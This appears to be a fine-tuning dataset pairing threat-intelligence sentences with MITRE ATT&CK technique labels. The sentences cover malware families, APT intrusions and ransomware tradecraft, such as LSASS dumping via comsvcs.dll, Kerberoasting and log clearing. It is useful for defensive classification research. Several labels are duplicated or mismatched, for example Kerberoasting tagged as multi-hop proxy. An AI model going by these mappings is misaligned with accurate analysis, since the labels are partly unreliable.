Reaver encrypts this data using an incremental XOR key and uploads it to the configured remote server on the port specified. The following example Python code shows how this encryption takes place:,['T1573 - Encrypted Channel'],fine_tune
"If any of the above files or directories exist, the Windows executable throws an exception and exits. This indicates Redaman checks if it is running in a sandbox or similar type of analysis environment.",['T1497 - Virtualization/Sandbox Evasion'],fine_tune
"After opening the doc file (which is again a Web Archive File), the exploit drops and executes the Trojan program “svcmondr.exe” (8052234dcd41a7d619acb0ec9636be0b).",['T1203 - Exploitation for Client Execution'],fine_tune
"And finally, a mention of Trojan-Downloader.Win32.CWS.j, another common site on malicious websites. This downloader is basically a small stub which downloads and installs variants of CWS, perhaps better known as CoolWebSearch. CoolWebSearch is a malicious program which was first reported circa 2003. Ever since, a huge number of variants have been found in the wild, most of them following the same pattern of hijacking the browser startup page and displaying pornographic pop-ups. Over time, CWS variants have become more and more complex and the latest versions include rootkit stealth components and retro features designed to terminate antivirus programs.","['T1176 - Browser Extensions', 'T1014 - Rootkit', 'T1588.001 - Malware']",fine_tune
"The Russian-speaking APT group Turla (known variously as ‘Snake’, ‘Uroburos’, ‘Venomous Bear’ and ‘KRYPTON’) has been active since at least 2007 (and maybe even longer). Its activities have been traced to many high-profile incidents, including the 2008 attack against the US Central Command (the Buckshot Yankee incident) and, more recently, the attack against the Swiss military contractor, RUAG. We’ve discuss its activities on a number of occasions (here, here, here and here). The group intensified its activities in 2014, targeting Ukraine, EU-related institutions, governments of EU countries, global foreign affairs ministries, media companies and possibly corruption-related targets in Russia. In 2015 and 2016 the group diversified its activities, switching from the Epic Turla watering-hole framework to the Gloog Turla framework, which is still active. The group also expanded its spear-phishing activities with the Skipper/WhiteAtlas attacks, which made use of new malware. Recently, the group has intensified its satellite-based C2 registrations ten-fold compared to the 2015 average.",['T1587.001 - Malware'],fine_tune
"BONDUPDATER waits to receive an instruction from the C2 server that starts with “E” before writing the downloaded data to the supplied filename. After receiving the “E” instruction, the Trojan will write the base64 decoded data to the file and process the newly created file. Figure 27 shows the C2 server providing the “E” instruction within the TXT answer. In the current example, the Trojan would treat the newly saved file as a script thanks to the filename ending with the “0” character. The Trojan would run the contents of the file using “cmd.exe” and save the output to a file named “proc10100” that will be uploaded to the C2 server.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Based on posts on an underground forum, we believe that the developer of Chthonic supplies binaries to other cyber-criminals and rents out the C2 infrastructure. Therefore, this distribution of victims likely represents several otherwise unconnected cyber-crime operations.","['T1588.001 - Malware', 'T1583 - Acquire Infrastructure']",fine_tune
"When the news broke in 2014 about a new sophisticated threat actor dubbed the Turla Group, which the Estonian foreign intelligence service believes has Russian origins and operates on behalf of the FSB, its kernelmode malware also became the first publicly-described case that abused a third-party device driver to disable Driver Signature Enforcement (DSE). This security mechanism was introduced in Windows Vista to prevent unsigned drivers from loading into kernel space. Turla exploited the signed VirtualBox driver, VBoxDrv.sys v1.6.2, to deactivate DSE and load its unsigned payload drivers afterward.",['T1211 - Exploitation for Defense Evasion'],fine_tune
"Since December 2017 security researchers have been seeing samples of MS Office documents in spearphishing emails related to the Winter Olympics uploaded to VirusTotal. The documents contained nothing but slightly formatted gibberish to make it look like the text had an encoding problem, encouraging the user to press a button to “Enable Content”.",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"Interestingly, the ChChes samples we observed were digitally signed using a certificate originally used by HackingTeam and later part of the data leaked when they were themselves hacked. Wapack labs also observed a similar sample targeting Japan in November. It’s not clear why the attackers chose to use this certificate, as it was old, had been leaked online, and had already been revoked by the time they used it. Digital certificates are typically used because they afford an air of legitimacy, which this one definitely does not.",['T1596.003 - Digital Certificates'],fine_tune
"The authors of Black Lambert included a couple of very interesting details in the sample, which read as the following: toolType=wl, build=132914, versionName = 2.0.0. Looking for similar samples, we were able to identify another generation of related tools which we called White Lambert. While Black Lambert connects directly to its C&C for instructions, White Lambert is a fully passive, network-driven backdoor.",['T1587.001 - Malware'],fine_tune
"In Figure 4, the first DNS query to resolve is. . yFIOr645245444143544544.windows64x[.]com which acts as an initial beacon. The first five characters (yFIOr) are random and have no purpose other than generating random subdomains in order to avoid DNS caching. The next two characters (64) signify the Hex notation of the d request type, which is the request type for the initial beacon as noted in Table 3. The request type is followed by the system specific hostname hardcoded into the sample, which in this case is 5245444143544544 for <REDACTED>.",['T1583.002 - DNS Server'],fine_tune
"As soon as the proof-of-concept (PoC) for CVE-2020-9054 was made publicly available last month, this vulnerability was promptly abused to infect vulnerable versions of Zyxel network-attached storage (NAS) devices with a new Mirai variant – Mukashi.",['T1588.006 - Vulnerabilities'],fine_tune
"This is exceedingly noisy traffic. Furthermore, Hancitor has demonstrated a noticeable lack of stealth in deploying and using this ping tool. Such an unusual EXE file is easy to notice, especially when the results of its scan are saved as a text file in the same directory.","['T1588.002 - Tool', 'T1588.002 - Tool']",fine_tune
"In our previous article, we mentioned since this GPON Vulnerability (CVE-2018-10561, CVE-2018-10562 ) announced, there have been at least five botnets family mettle, muhstik, mirai, hajime, satori actively exploit the vulnerability to build their zombie army in just 10 days.","['T1584.005 - Botnet', 'T1588.006 - Vulnerabilities', 'T1203 - Exploitation for Client Execution']",fine_tune
"Palo Alto Networks WildFire observed commands provided by the C2 server for the known Helminth samples. The commands, as seen below, show that the threat actors are attempting to do initial information gathering on the system, including available user accounts, username, computer name, running tasks, services, network services and if remote desktop is enabled.","['T1033 - System Owner/User Discovery', 'T1049 - System Network Connections Discovery', 'T1590 - Gather Victim Network Information', 'T1082 - System Information Discovery']",fine_tune
"The Wekby group continues to target various high profile organizations using sophisticated malware. The pisloader malware family uses various novel techniques, such as using DNS as a C2 protocol, as well as making use of return-oriented programming and other anti-analysis tactics.",['T1583.002 - DNS Server'],fine_tune
"While analyzing this intrusion, we observed further persistence via scheduled tasks associated with post-exploitation activities.. . This scheduled task with name HpSupport executed a Cobalt Strike Beacon kaslose64.dll both on the Domain Controller and the File Server:","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1053 - Scheduled Task/Job']",fine_tune
"Without the encrypted AES key appended to the encrypted files, even if the private key used for encryption was recovered, the files could not be decrypted. Therefore, the Hermes executable used in the FEIB SWIFT attack appears never to have been used to ransom the machine, but rather to destroy the victim’s data. ",['T1486 - Data Encrypted for Impact'],fine_tune
"In total Unit 42 has seen over 50 versions of these weaponized documents spanning from late October through to March. We’ve used these to lay out a timeline, which will be referenced throughout the remainder of this blog, of the milestones of evolution that provides some insight into why the changes are made. Note: This figure does not cover all versions seen but simply milestone changes. It does however start with the first version created on October 23rd, last saved 25th October and first seen by our Wildfire cloud sandbox 26th October.",['T1587.001 - Malware'],fine_tune
"Throughout the intrusion, the injected Cobalt Strike Processes utilized various named pipes for inter-process communications. Many of these pipes used default Cobalt Strike pipe patterns.",['T1055 - Process Injection'],fine_tune
"This update to Emissary allowed the Trojan to run as a service. The configuration now contains settings for the Emissary service, which the Trojan will store in and access from the following registry keys:",['T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness'],fine_tune
". . The bot will report key information back to the C&C, including the result of the various custom API executions. The first communications include any hard-coded C&C followed by the DGA. Shifu uses RC4 encryption in the network communications. Notably, the key for the samples analyzed by iSIGHT Partners is actually the default RC4 key included with the Crypto library, further suggesting this malware is under development. The following is the key observed:",['T1587.001 - Malware'],fine_tune
Figure 32 shows QUADAGENT issuing DNS requests with incrementing sequence numbers and the C2 providing the session identifier and pre-shared key within the IPv6 answers. The screenshot also shows the Trojan sending a DNS query to notify the C2 that it successfully received the data.,['T1583.002 - DNS Server'],fine_tune
"For this method, Ransom Cartel uses a tool named """"DonPAPI,"""" which can search hosts for DPAPI blobs containing Wi-Fi keys, RDP passwords, and credentials saved in web browsers and then download and decrypt them locally on the machine.",['T1587.001 - Malware'],fine_tune
"It also can make and send screenshots to the C&C, as well as any file that matches a specified mask.",['T1113 - Screen Capture'],fine_tune
"Using spear-phishing emails that contained malicious Amazon-themed documents, the group targeted an employee of an aerospace company in the Netherlands and a political journalist in Belgium.",['T1566.003 - Spearphishing via Service'],fine_tune
It reads and executes commands from a text file stored in Mega cloud storage,['T1530 - Data from Cloud Storage Object'],fine_tune
"BlackLotus claims to come with anti-virtual machine (anti-VM), anti-debug, and code obfuscation features to block malware analysis attempts. The seller also claims that security software cannot detect and kill the bootkit as it runs under the SYSTEM account within a legitimate process.",['T1497 - Virtualization/Sandbox Evasion'],fine_tune
These credentials are then used to compromise Linux ESXi servers and authenticate to their vCenter web interfaces.,['T1199 - Trusted Relationship'],fine_tune
CreepyUp: uploads any file to the C&C server.,['T1105 - Ingress Tool Transfer'],fine_tune
"The browser extension serves as adware and an infostealer, leaking all of the user’s search engine queries. We discovered significant changes and additions of capabilities throughout this campaign's evolution, and we predict further changes as this campaign continues.",['T1217 - Browser Bookmark Discovery'],fine_tune
Creates new users’ accounts,['T1136.001 - Create Account: Local Account'],fine_tune
The campaign commences via a SPAM email containing a malicious new URL being sent to potential victims. The URL landing page presents the recipient with a password for a ZIP file.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
UEFI bootkits are planted in the system firmware and are invisible to security software running within the operating system because the malware loads in the initial stage of the booting sequence.,['T1542.001 - Pre-OS Boot: System Firmware'],fine_tune
"During the defense evasion phase, anti-malware and monitoring software is often disabled. Firewall rules have occasionally been seen being disabled as well.","['T1489 - Service Stop', 'T1489 - Service Stop']",fine_tune
"With the upsurgence of ProxyShell, webshells have become more common entry points.","['T1505.003 - Server Software Component: Web Shell', 'T1505.003 - Server Software Component: Web Shell']",fine_tune
Adds newly created accounts to the administrators group to maintain elevated access.,['T1098 - Account Manipulation'],fine_tune
"Most of the fake lures for this campaign are related to games, subtitle files, adult videos, and cracked MS Office applications. These are hosted in ZIP format on legitimate file hosting services.",['T1189 - Drive-by Compromise'],fine_tune
The implanted VBS file is capable of reporting information about infected machines and downloading additional payloads with an encoded format,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
In one case the attackers used one module for taking screenshots and another for uploading them to the C&C server,['T1113 - Screen Capture'],fine_tune
"Identity theft via hijacking user-profiles and stealing their cryptocurrency, or using popular accounts to spread malware and/or scams",['T1083 - File and Directory Discovery'],fine_tune
"During the extraction, a JSP webshell is deployed on one of the public directories used by the webmail component. The attacker can browse to the webshell to start executing arbitrary commands on the victim machine.",['T1059 - Command and Scripting Interpreter'],fine_tune
Obscure secure messaging client as delivery vehicle for malware and cloak for malicious activity,['T1573 - Encrypted Channel'],fine_tune
Compromises users’ saved passwords from browsers.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"Process Explorer, Process Monitor and PCHunter have been utilized to discover any anti-malware or monitoring software and terminate it.","['T1057 - Process Discovery', 'T1057 - Process Discovery']",fine_tune
"The ZIP file contains a single .ISO file. The use of an ISO file is an attempt to defeat the “Mark of the Web (MOTW),” which tags files as being downloaded from the internet. It subjects these files to additional security measures by Windows and endpoint security solutions.",['T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass'],fine_tune
"AnyDesk has been the most common legitimate desktop software used to establish an interactive command and control channel, with ConnectWise seen slightly less frequently.","['T1219 - Remote Access Software', 'T1219 - Remote Access Software']",fine_tune
"By using DoH, attackers can hide DNS queries from C&C domains. If SSL/TLS traffic is not being inspected using man-in-the-middle (MitM) techniques, DNS queries to the C&C server will therefore go unnoticed. ",['T1572 - Protocol Tunneling'],fine_tune
Uses encoded PowerShell commands.,['T1027 - Obfuscated Files or Information'],fine_tune
Mailman: communicates with a C&C server to receive commands and writes them to a file. It also sends the file with output from commands to the C&C server.,['T1071 - Application Layer Protocol'],fine_tune
Affiliates have been seen brute forcing exposed RDP services and compromising accounts with weak passwords.,"['T1078.003 - Valid Accounts: Local Accounts', 'T1133 - External Remote Services']",fine_tune
Uses Rclone to exfiltrate data to cloud sharing websites (such as PCloud and MegaSync).,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
Clears Windows PowerShell and WitnessClientAdmin log file.,['T1070.003 - Indicator Removal on Host: Clear Command History'],fine_tune
"Those campaigns relied on social engineering attacks through LinkedIn, pushing .NET Core malware masquerading as a PDF document supposedly containing details about a marketing project.",['T1566.003 - Spearphishing via Service'],fine_tune
Victims receive spear phishing emails with attached malicious zip files - typically password protected or HTML file. That file contains an ISO file.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"Finally, the threat actors shut down VMs, terminate all related processes, and encrypt Vmware-related files (.log, .vmdk, .vmem, .vswp and .vmsn).",['T1486 - Data Encrypted for Impact'],fine_tune
Uses wevtutil to clear the Windows event logs.,['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
Deletes rules in the Windows Defender Firewall exception list related to AnyDesk ,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],fine_tune
Dumps password hashes for use in pass the hash authentication attacks.,['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],fine_tune
"For C&C communication, POLONIUM abuses common cloud services such as Dropbox, OneDrive, and Mega.",['T1136.003 - Create Account: Cloud Account'],fine_tune
The only known method of delivering stolen information to cybercriminals is by sending a ZIP archive to an embedded control center.,['T1102 - Web Service'],fine_tune
The ransomware payload is copied to an Active Directory Domain Controller and deployed to systems using the Default Domain Group Policy Object,['T1570 - Lateral Tool Transfer'],fine_tune
"TechnoCreep is a previously undocumented C# backdoor that communicates with a C&C server via TCP sockets. In this case, commands are not read from a file, but received in an exchange of messages",['T1071 - Application Layer Protocol'],fine_tune
"It is able to steal autofill information from web browsers, cookies, saved credit cards, browser history, coin wallets and Telegram databases. ",['T1185 - Browser Session Hijacking'],fine_tune
"Credentials that have either been reused across multiple platforms or have previously been exposed. Additionally, this includes VPN accounts - not just domain and local accounts.",['T1078 - Valid Accounts'],fine_tune
LockBit 2.0 is typically executed via command line arguments via a hidden window. Windows SysInternals PsExec has been utilized for both persistence and execution purposes. Its ability to execute processes on other systems spread the ransomware and assisted in reconnaissance activities.,['T1059 - Command and Scripting Interpreter'],fine_tune
"It was quite common to see scheduled tasks used to create persistence for the ransomware executable, PsExec, and occasionally some defense evasion batch scripts.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"In rare cases, LockBit 2.0 has been observed to create accounts for persistence with simple names, such as `a.`",['T1136.001 - Create Account: Local Account'],fine_tune
"LockBit 2.0 enumerates system information such as hostname, shares, and domain information.",['T1082 - System Information Discovery'],fine_tune
MEGASync is the leading way for LockBit 2.0 affiliates to exfiltrate data from clients with it being occasionally replaced by RClone.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
"LockBit 2.0 is known for its extortion tactics, encrypting devices and demanding a ransom.",['T1486 - Data Encrypted for Impact'],fine_tune
"The NewsBeef APT previously engaged in long-term, elaborate social engineering schemes that take advantage of popular social network platforms. Previous analysis of the NewsBeef APT indicates that the group focuses on Saudi Arabian (SA) and Western targets, and lacks advanced offensive technology development capabilities.",['T1593.001 - Social Media'],fine_tune
"Kimsuky has searched for vulnerabilities, tools, and geopolitical trends on Google search engine to target victims",['T1593.002 - Search Engines'],fine_tune
"Russian state-sponsored APT actors have performed “Kerberoasting,” whereby they obtained the Ticket Granting Service (TGS) Tickets for Active Directory Service Principal Names (SPN) for offline cracking.","['T1090.003 - Proxy: Multi-hop Proxy', 'T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting']",fine_tune
"identify configuration settings, exfiltrate data, and to execute other commands.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Russian state-sponsored APT actors have used credentials of existing accounts to maintain persistent, long-term access to compromised networks.",['T1078 - Valid Accounts'],fine_tune
Russian state-sponsored APT actors have exfiltrated credentials and exported copies of the Active Directory database ntds.dit.,['T1003.003 - OS Credential Dumping: NTDS'],fine_tune
Russian state-sponsored APT actors have used previously compromised account credentials to attempt to access Group Managed Service Account (gMSA) passwords.,['T1555 - Credentials from Password Stores'],fine_tune
BlackMatter may wipe backup systems.,['T1561 - Disk Wipe'],fine_tune
BlackMatter remotely encrypts shares via SMB protocol and drops a ransomware note in each directory.,['T1486 - Data Encrypted for Impact'],fine_tune
"BlackMatter uses srvsvc.NetShareEnumAll MSRPC function to enumerate and SMB to connect to all discovered shares, including ADMIN$, C$, SYSVOL, and NETLOGON.",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
BlackMatter uses EnumServicesStatusExW to enumerate running services on the network.,['T1007 - System Service Discovery'],fine_tune
BlackMatter uses NtQuerySystemInformation to enumerate running processes,['T1057 - Process Discovery'],fine_tune
BlackMatter leverages LDAP and SMB protocol to discover all hosts in the AD.,['T1018 - Remote System Discovery'],fine_tune
"BlackMatter leverages legitimate remote monitoring and management software and remote desktop software, often by setting up trial accounts, to maintain persistence on victim networks.",['T1133 - External Remote Services'],fine_tune
"Chinese state-sponsored cyber actors have been assessed to perform reconnaissance on Microsoft® 365 (M365), formerly Office® 365, resources with the intent of further gaining information about the networks. These scans can be automated, through Python® scripts, to locate certain files, paths, or vulnerabilities. The cyber actors can gain valuable information on the victim network, such as the allocated resources, an organization’s fully qualified domain name, IP address space, and open ports to target or exploit.","['T1595 - Active Scanning', 'T1590 - Gather Victim Network Information']",fine_tune
Chinese state-sponsored cyber actors have been observed using VPSs from cloud service providers that are physically distributed around the world to host malware and function as C2 nodes.,"['T1583 - Acquire Infrastructure', 'T1583 - Acquire Infrastructure']",fine_tune
"Chinese state-sponsored cyber actors have exploited known vulnerabilities in Internet-facing systems. [1] For information on vulnerabilities known to be exploited by Chinese statesponsored cyber actors, refer to the Trends in Chinese State-Sponsored Cyber Operations section for a list of resources. Chinese state-sponsored cyber actors have also been observed:  Using short-term VPS devices to scan and exploit vulnerable Microsoft Exchange® Outlook Web Access (OWA® ) and plant webshells.  Targeting on-premises Identity and Access Management (IdAM) and federation services in hybrid cloud environments to gain access to cloud resources.  Deploying a public proof of concept (POC) exploit targeting a publicfacing appliance vulnerability.",['T1190 - Exploit Public-Facing Application'],fine_tune
"Chinese state-sponsored cyber actors have been observed conducting spearphishing campaigns. These email compromise attempts range from generic emails with mass targeted phishing attempts to specifically crafted emails in targeted social engineering lures. These compromise attempts use the cyber actors’ dynamic collection of VPSs, previously compromised accounts, or other infrastructure in order to encourage engagement from the target audience through domain typo-squatting and masquerading. These emails may contain a malicious link or files that will provide the cyber actor access to the victim’s device after the user clicks on the malicious link or opens the attachment.","['T1566.001 - Phishing: Spearphishing Attachment', 'T1566.002 - Phishing: Spearphishing Link']",fine_tune
"Chinese state-sponsored cyber actors have been observed: gaining credential access into victim networks by using legitimate, but compromised credentials to access OWA servers, corporate login portals, and victim networks.","['T1078.001 - Valid Accounts: Default Accounts', 'T1078.002 - Domain Accounts']",fine_tune
"Chinese state-sponsored cyber actors have been observed using Cobalt Strike, webshells, or command line interface tools, such as schtask or crontab to create and schedule tasks that enumerate victim devices and networks.","['T1053.003 - Scheduled Task/Job: Cron', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
Chinese state-sponsored cyber actors have been observed conducting spearphishing campaigns that encourage engagement from the target audience. These emails may contain a malicious link or file that provide the cyber actor access to the victim’s device after the user clicks on the malicious link or opens the attachment.,"['T1204.001 - Malicious Link', 'T1204.002 - User Execution: Malicious File']",fine_tune
Chinese state-sponsored cyber actors have been observed using benign executables which used Dynamic Link Library (DLL) loadorder hijacking to activate the malware installation process.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
Chinese state-sponsored cyber actors were observed creating a new sign-in policy to bypass MFA requirements to maintain access to the victim network.,['T1556.001 - Domain Controller Authentication'],fine_tune
Chinese state-sponsored cyber actors have been observed planting web shells on exploited servers and using them to provide the cyber actors with access to the victim networks.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
Chinese state-sponsored cyber actors have been observed executing malware shellcode and batch files to establish new services to enable persistence,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"Chinese state-sponsored cyber actors have been observed:  Injecting into the rundll32.exe process to hide usage of Mimikatz, as well as injecting into a running legitimate explorer.exe process for lateral movement.  Using shellcode that injects implants into newly created instances of the Service Host process (svchost).","['T1055.001 - Process Injection: Dynamic-link Library Injection', 'T1055.002 - Process Injection: Portable Executable Injection']",fine_tune
Chinese state-sponsored cyber actors were observed using the 7- Zip utility to unzip imported tools and malware files onto the victim device.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Chinese state-sponsored cyber actors were observed using benign executables which used DLL loadorder hijacking to activate the malware installation process.,['T1564 - Hide Artifacts'],fine_tune
Chinese state-sponsored cyber actors were observed Base64 encoding files and command strings to evade security measures.,"['T1218.005 - Signed Binary Proxy Execution: Mshta', 'T1218.011 - Signed Binary Proxy Execution: Rundll32']",fine_tune
Chinese state-sponsored cyber actors have been observed exploiting Pulse Secure VPN appliances to view and extract valid user credentials and network information from the servers.,['T1212 - Exploitation for Credential Access'],fine_tune
Chinese state-sponsored cyber actors were observed targeting the LSASS process or Active directory (NDST.DIT) for credential dumping.,"['T1003.001 - OS Credential Dumping: LSASS Memory', 'T1003.003 - OS Credential Dumping: NTDS']",fine_tune
Chinese state-sponsored cyber actors have been observed using multiple implants with file system enumeration and traversal capabilities.,['T1083 - File and Directory Discovery'],fine_tune
"Chinese state-sponsored cyber actors have been observed using commands, including net group and net localgroup, to enumerate the different user groups on the target network.",['T1069 - Permission Groups Discovery'],fine_tune
Chinese state-sponsored cyber actors have been observed using Nbtscan and nmap to scan and enumerate target network information.,['T1046 - Network Service Discovery'],fine_tune
"Chinese state-sponsored cyber actors have been observed using Base-64 encoded commands, including ping, net group, and net user to enumerate target network information.",['T1018 - Remote System Discovery'],fine_tune
"Chinese state-sponsored cyber actors used valid accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, RDP, and Virtual Network Computing (VNC). The actor may then perform actions as the logged-on user. Chinese state-sponsored cyber actors also used on-premises Identity and Access Management (IdAM) and federation services in hybrid cloud environments in order to pivot to cloud resources.",['T1210 - Exploitation of Remote Services'],fine_tune
"Chinese state-sponsored cyber actors used compression and encryption of exfiltration files into RAR archives, and subsequently utilizing cloud storage services for storage.",['T1560 - Archive Collected Data'],fine_tune
"Chinese state-sponsored cyber actors have been observed using the mv command to export files into a location, like a compromised Microsoft Exchange, IIS, or emplaced webshell prior to compressing and exfiltrating the data from the target network.",['T1074 - Data Staged'],fine_tune
Chinese state-sponsored cyber actors have been observed using the New-MailboxExportRequest PowerShell cmdlet to export target email boxes.,['T1114 - Email Collection'],fine_tune
Chinese state-sponsored cyber actors have been observed:  Using commercial cloud storage services for command and control.  Using malware implants that use the Dropbox API for C2 and a downloader that downloads and executes a payload using the Microsoft OneDrive API.,['T1071 - Application Layer Protocol'],fine_tune
Chinese state-sponsored cyber actors have been observed using a non-standard SSH port to establish covert communication channels with VPS infrastructure.,['T1571 - Non-Standard Port'],fine_tune
Chinese state-sponsored cyber actors have been observed using a network of VPSs and small office and home office (SOHO) routers as part of their operational infrastructure to evade detection and host C2 activity. Some of these nodes operate as part of an encrypted proxy service to prevent attribution by concealing their country of origin and TTPs.,['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
"The actors used a variety of public exploits, including CVE 2020-0688 and CVE 2020-17144 to gain privileged remote code execution on vulnerable Microsoft Exchange servers. In some cases, this exploitation occurred after valid credentials were identified by password spray, as these vulnerabilities require authentication as a valid user.",['T1190 - Exploit Public-Facing Application'],fine_tune
The actors used a compromised Office 365 service account with Global Administrator privileges to collect email from user inboxes.,['T1078.002 - Domain Accounts'],fine_tune
The actors used a modified and obfuscated version of the reGeorg web shell to maintain persistent access on a target's Outlook Web Access (OWA® ) server.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
"The actors operate a Kubernetes cluster, which allows them to conduct distributed and large-scale targeting using password spray and password guessing",['T1110.003 - Brute Force: Password Spraying'],fine_tune
The actors dumped LSASS process memory by using 'rundll32.exe' to execute the MiniDump function exported by the native Windows® DLL 'comsvcs.dll'.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
The actors mapped network drives using 'net use' and administrator credentials.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
The actors collected email from Office 365 using a compromised valid service account with elevated privileges.,['T1114.002 - Email Collection: Remote Email Collection'],fine_tune
The actors named one instance of their web shell 'outlookconfiguration.aspx' likely for the purpose of appearing to be a legitimate webpage on a targeted OWA server.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
The actors downloaded archives of collected data previously staged on a target's OWA server via HTTPS.,['T1048.002 - Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol'],fine_tune
The actors split some archived exfiltration files into chunks smaller than 1MB.,['T1030 - Data Transfer Size Limits'],fine_tune
SVR target organisations who supply privileged software to intelligence targets.,['T1195.002 - Compromise Software Supply Chain'],fine_tune
"SVR leveraged access gained from the SolarWinds campaign to compromise a certificate issued by Mimecast, which it then used to authenticate a subset of Mimecast's products with customer systems.",['T1199 - Trusted Relationship'],fine_tune
"The Iranian government-sponsored APT actors gained initial access by exploiting vulnerabilities affecting Microsoft Exchange servers (CVE-2021-34473) and Fortinet devices (CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591)",['T1190 - Exploit Public-Facing Application'],fine_tune
"The Iranian government-sponsored APT actors may have established new user accounts on domain controllers, servers, workstations, and active directories. Some of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization. In addition to unrecognized user accounts or accounts established to masquerade as existing accounts, the following account usernames may be associated with this activity: Support Help elie WADGUtilityAccount","['T1136.001 - Create Account: Local Account', 'T1136.002 - Create Account: Domain Account']",fine_tune
The APT actors forced BitLocker activation on host networks to encrypt data [T1486]. The corresponding threatening notes were either sent to the victim or left on the victim network as a .txt file. The ransom notes included ransom demands and the following contact information. sar_addr@protonmail[.]com WeAreHere@secmail[.]pro nosterrmann@mail[.]com nosterrmann@protonmail[.]com,['T1486 - Data Encrypted for Impact'],fine_tune
The actors used two Impacket tools: wmiexec.py and smbexec.py.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
Actors executed malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths.,['T1129 - Server Software Component'],fine_tune
Actors used the del.exe command with the /f parameter to force the deletion of read-only files with the *.rar and tempg* wildcards.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Actors used Windows command shell commands to detect and avoid virtualization and analysis environments.,"['T1497.001 - Virtualization/Sandbox Evasion: System Checks', 'T1497.001 - Virtualization/Sandbox Evasion: System Checks']",fine_tune
The execution of the malicious PuTTY binary resulted in the deployment of a backdoor to the host. The deployed backdoor is an evolution of the malware family Mandiant tracks as AIRDRY.,['T1218 - Signed Binary Proxy Execution'],fine_tune
"In the PuTTY sample discovered on VirusTotal, the malicious code was inserted into the ssh2_userauth_process_queue function (source file: putty-0.77\ssh\userauth2-client.c). The code resides in the part of the function responsible for performing password authentication, as opposed to other methods such as public key or keyboard-interactive authentication. Once the user establishes a connection and enters their username and password, the malicious code is executed regardless of the authentication result.",['T1480 - Execution Guardrails'],fine_tune
"In the PuTTY sample discovered on VirusTotal, the malicious code was inserted into the ssh2_userauth_process_queue function (source file: putty-0.77\ssh\userauth2-client.c). The code resides in the part of the function responsible for performing password authentication, as opposed to other methods such as keyboard-interactive authentication or public key. Once the user establishes a connection and enters their username and password, the malicious code is executed regardless of the authentication result.",['T1480 - Execution Guardrails'],fine_tune
"The size of the PuTTY binary downloaded by the victim is also substantially larger than the legitimate version. Upon closer inspection, it has a large, high entropy .data section in comparison to the officially distributed version (Figure 3). Sections like these are typically indicative of packed or encrypted data.",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
The additional layer is position independent shellcode containing a reflective DLL loader. The loader decrypts an RC4 encrypted payload and loads it in memory. The code itself is a straight forward loader with the exception of some interesting artifacts identified during analysis.,['T1620 - Reflective Code Loading'],fine_tune
"Commands passed as arguments into e.py were also seen being executed by the targeted Windows guest machine, running as a child process under vmtoolsd.exe. This execution chain can be seen in Figure 5. The parent binary /bin/rdt was not present on disk but was able to be recovered by dumping the processes memory of the ESXi hypervisor. The python script that sent out commands to the guest machines, e.py, was unable to be recovered.",['T1202 - Indirect Command Execution'],fine_tune
Deleted File created by vmtoolsd.exe and executed by vmtoolsd.exe child process.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"The payload was an AutoIT downloader that retrieved and executed additional PowerShell from hxxps://85.206.161[.]216:8080/HomePage.htm. The follow-on PowerShell profiled the target system’s architecture, downloaded the appropriate variant of PowerSploit (MD5: c326f156657d1c41a9c387415bf779d4 or 0564706ec38d15e981f71eaf474d0ab8), and reflectively loaded PUPYRAT (MD5: 94cd86a0a4d747472c2b3f1bc3279d77 or 17587668AC577FCE0B278420B8EB72AC).",['T1620 - Reflective Code Loading'],fine_tune
"Efforts to decrease operational visibility included placing tool and output files within temporary file system mount points that were stored in volatile memory. Additionally, UNC1945 used built-in utilities and public tools to modify timestamps and selectively manipulate Unix log files.",['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
"UNC1945 employed anti-forensics techniques with the use of a custom ELF utility named LOGBLEACH. The actor used built-in Linux commands to alter the timestamps of files and directories and used LOGBLEACH to clean logs to thwart forensic analysis, as seen in Figure 4.",['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
